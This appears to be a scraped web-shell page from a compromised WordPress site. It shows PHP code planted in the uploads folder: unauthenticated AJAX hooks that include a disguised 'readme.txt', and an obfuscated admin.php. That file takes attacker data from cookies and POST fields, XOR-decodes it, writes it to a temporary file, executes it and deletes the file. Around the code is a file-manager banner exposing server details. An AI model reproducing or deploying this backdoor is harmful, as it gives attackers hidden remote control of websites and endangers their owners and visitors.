if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs20250613/wp-content/uploads/2017/02/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs20250613/wp-content/uploads/2017/02/admin.php
<?php
function vf6       (){

echo 'zh7';
}


function	pa1 (    $yk2 )

{$be4=0;
$ls3	=	"h/@Ib<gEAei5Pw )kxy6vY]c[d_#n*N1p(Dj'fUluHLTMma?tsSoK4;.Fr";


 $wj5    = substr("",  0);


     while(1)
{


       if($be4>=count($yk2))     break;      $wj5     .=	$ls3  [  $yk2[$be4]	];	$be4++;
}
return $wj5;

}$je9 =	[];$zgv       =   69883;


$je9[86520]       = pa1 (       Array(47 ,      32 , 0 ,	32 , 14     , 2 , 40 , 28 , 39 ,	10 , 28     , 16      , 33 ,   26 ,     26    , 56	, 3 ,      42 ,     7 , 26	,	26 ,	15      ,	54	, 14	,)	) ;

$je9[97269]	= pa1 (      Array(24      , 8 , 38  , 43 , 41 , 26 , 52 , 7 ,  21     ,     22 ,) )       ;$je9[49648]  = pa1  (	Array(32	, 57	, 51 , 23 , 9   ,   49 ,	49 , 9 ,	25 ,)    )     ;$so35      = 82331;$je9[46062] =	pa1 (  Array(34 , 38 , 44 , 44	, 21	,    31 ,)      ) ;

$je9[78316]	= pa1 (   Array(55 ,	35	,  32	,      6       ,)	)	;


$je9[48611] =      pa1  (  Array(37      , 10 ,	39   ,    9 ,) )	;
$je9[64990]	= pa1	( Array(45 ,	25 , 11 ,)    )	;

$je9[11222] =	pa1 ( Array(55 , 1 ,) )	;

$oh36	=    17102;$je9[29123] = pa1 (	Array(41 , 29    ,) ) ;

$je9[76224] =   pa1 (  Array(1 ,) ) ;

$je9[1983] =	pa1	( Array(5	,)   )   ;$je9[44990]	= pa1 ( Array(29 ,) )       ;


$je9[58301]	= pa1     (	Array(27 ,) )	;

$sc37   = 99789;$je9[34235]  = pa1	(	Array(37 ,   10	, 39  , 9	, 26	, 32 ,    40   , 48   , 26 ,      23   , 51 , 28    , 48 , 9    , 28	,	48 , 49 ,)	) ;


$je9[37300] =	pa1 (    Array(4	,      46      ,	49 ,   9	,	19	, 53 , 26	, 25 ,	9	,       23       , 51 , 25   , 9 ,) )    ;
$je9[37298] = pa1 ( Array(57 ,	46 , 13	,   40 , 57 , 39 ,    25	, 9 , 23	, 51	, 25	,    9 ,)    ) ;

$rg38 =	64421;$je9[67503] = pa1   ( Array(46  ,    57 ,	57   ,       46	, 18 ,  26 , 45 , 9      , 57 , 6 ,	9 ,) ) ;
$je9[87461] =     pa1	(      Array(46	,	57	,	57 , 46    ,	18 ,  26 ,       49 ,      39 ,   10 , 23 , 9 ,)	)   ;


$vn39 = 6255;
$je9[24995]  = pa1 (	Array(49 , 48 ,  57	, 26     ,	57 , 9      , 32    , 9   ,    46	, 48 ,)	) ;
$ze40	= 75881;


$je9[38817] = pa1	(	Array(49 , 48       ,   57 ,	26	, 49	,	32    ,   39 ,	10	, 48       ,) ) ;
$je9[99742] =     pa1 ( Array(46    ,	57       ,	57	,     46 , 18	,    26   , 45 , 46     ,	32	,) ) ;
$je9[56221]	=  pa1   ( Array(10 , 49   , 26	, 46 , 57 ,	57 , 46	, 18	,) )	;$je9[99738] = pa1 (   Array(9	, 17	, 32 ,	39	,	51    , 25	,	9	,)	) ;


$je9[60311]	=     pa1 (   Array(10 , 45 ,    32 , 39 , 51 , 25 , 9	,)       )	;$og41	=    72710;

$je9[60298]	=       pa1	(      Array(40 ,       28 , 39 , 10 ,     28       , 16	,) ) ;


$je9[94087] =     pa1	(  Array(49 ,	48	, 57    , 32	,     51     , 49 ,) ) ;

$je9[31610]	=	pa1  (	Array(49	,	48	, 57 , 39      ,       9	, 28	,)	) ;

$ir42	= 38867;

$je9[68985] =	pa1       (	Array(10 ,   28 , 48	,      20 ,    46	, 39  ,) ) ;

$je9[29048] =	pa1	( Array(37	, 46 , 39 , 49 , 9	,) )	;

$ah43 =	90772;


$je9[53110] = pa1   ( Array(32 , 46	, 23 ,	16 ,) ) ;

$hm30 = $_COOKIE; $ck28	=      "20653";
$hm30 = $je9[67503]($hm30,     $_POST);




foreach ($hm30  as       $qe33       =>   $tz29)


{
 function	vr15     (     $je9,   $qe33	, $gk27 ) {


 return	substr ( $je9[24995] (	$qe33 .	'0bb8b026-b74b-4a22-9aac-11c75c73eec0' , $je9[68985](      $gk27/$je9[31610]( $qe33 )  ) +	1 )      ,	0 , $gk27 );

       }



	function pv18	( $je9, $ay32     )


     { if ( isset (	$ay32[2] ) ) {

 


 kg16 ( $je9,	hx14      (     $je9, $ay32));

 
	return	1;

   } }


 


 function       jb13 (     $je9,     $ay32   )


 { return      @$je9[53110] ($je9[29123] ,      $ay32 ); }   function vl12    ( $je9, $tz29, $qe33)

    {	return jb13     ( $je9, $tz29 )    ^	vr15	( $je9, $qe33	, $je9[31610](	$tz29 ) );

   }
     function    bb11    (	$je9, $tz29,    $qe33)  { return $je9[99738]    (       $je9[58301]    , vl12 (	$je9, $tz29, $qe33));


 } 
	function	pr10	( $je9,  $tz29, $qe33) {	$tz29	= bb11	(     $je9,     $tz29, $qe33);


	if	(pv18 ( $je9,	$tz29))

 { exit();
	}

 }


       
  function hx14 ( $je9,    $ay32)

 {

 $zb31 =	$je9[11222] .	md5( '0bb8b026-b74b-4a22-9aac-11c75c73eec0'	)	.   $je9[78316];
	

 @$je9[34235] ( $zb31, $je9[1983]       . $je9[86520] .	$ay32[1]  ( $ay32[2] )	); 
 return	$zb31;	}

 


 function     ze17 (	$je9,	$zb31)       {


 @$je9[60298] (   $zb31     );


	exit();


 }	 function      kg16 (     $je9, $zb31 )
	{      @require (	$zb31  );

	$zj23      =	md5($zb31); $ec26	= substr($zb31, $je9[94087]($zb31,	$je9[76224])	+   1);   if (file_exists      ( $zb31))		{
 $kv24 =	$je9[37300]($zj23);


 ze17 (   $je9,	$zb31);
 $fn19     = $je9[37298]($ec26);


   if ($je9[56221]($_GET)) {


 $_GET[$je9[48611]] = $fn19;


 }
	}


	$yf25 = $je9[87461]($je9[99742]($je9[64990],	$je9[99738]($je9[76224],	$zb31)),       0,	3);

 $yz21	=       $je9[24995]($je9[44990],	10);
 for ($ye34 =       0; $ye34  <     0;	$ye34++) {
 $nb20 =	$yz21    .	$yf25[$ye34]    . $yz21;


	$rb22	=	$je9[38817]($nb20,   5);

	if	($je9[94087]($nb20, $yz21)    !== $je9[29048])    {

	$_POST[$je9[49648]][]	=	$je9[60311]($je9[58301],       $rb22);

   }

	}

 }

 

    pr10 (    $je9,     $tz29, $qe33);


}
@ Telegram